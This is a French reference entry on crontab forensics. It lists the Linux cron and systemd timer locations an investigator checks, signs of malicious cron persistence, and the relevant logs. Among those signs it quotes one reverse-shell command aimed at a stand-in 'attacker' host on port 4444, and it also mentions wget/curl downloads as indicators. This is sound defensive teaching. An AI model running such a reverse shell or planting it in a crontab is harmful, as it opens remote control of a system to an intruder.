Crontab Forensics

Définition

Crontab (Cron Table) est le mécanisme de planification de tâches périodiques sur les systèmes Unix/Linux. Il est massivement utilisé comme vecteur de persistance par les attaquants car il permet l'exécution automatique de commandes à intervalles réguliers, avec peu de visibilité dans les outils de monitoring standard. L'écosystème cron sur Linux comprend plusieurs emplacements distincts qui doivent tous être examinés lors d'une investigation forensique. Les crontabs utilisateur (crontab -l) sont stockés dans /var/spool/cron/crontabs/{username}. Les crontabs système sont dans /etc/crontab (fichier principal avec colonne utilisateur), /etc/cron.d/ (fichiers supplémentaires par service), /etc/cron.hourly/, /etc/cron.daily/, /etc/cron.weekly/, /etc/cron.monthly/ (scripts exécutés périodiquement par run-parts). Les indicateurs de crontab malveillant incluent : des entrées téléchargeant des fichiers depuis Internet (wget, curl vers des IPs/domaines suspects), des entrées exécutant des scripts dans /tmp ou /dev/shm (répertoires souvent en mémoire), des reverse shells (bash -i >& /dev/tcp/attacker/4444 0>&1), des entrées avec redirection de sortie vers /dev/null pour masquer les erreurs, et des noms de fichiers ou commandes imitant des tâches système légitimes. Les logs cron dans /var/log/cron (RHEL) ou dans syslog/journald (Debian/Ubuntu) enregistrent chaque exécution de tâche cron avec timestamp, utilisateur et commande. Ces logs sont essentiels pour déterminer quand une tâche malveillante a été exécutée et avec quelle fréquence. Corréler les timestamps d'exécution cron avec d'autres événements (connexions réseau, modifications de fichiers) permet de confirmer l'activité malveillante. Les systèmes utilisant systemd peuvent utiliser des systemd timers à la place ou en complément de cron. Les fichiers .timer dans /etc/systemd/system/ et /usr/lib/systemd/system/ doivent également être inspectés. 'systemctl list-timers' liste tous les timers actifs avec leur prochain déclenchement.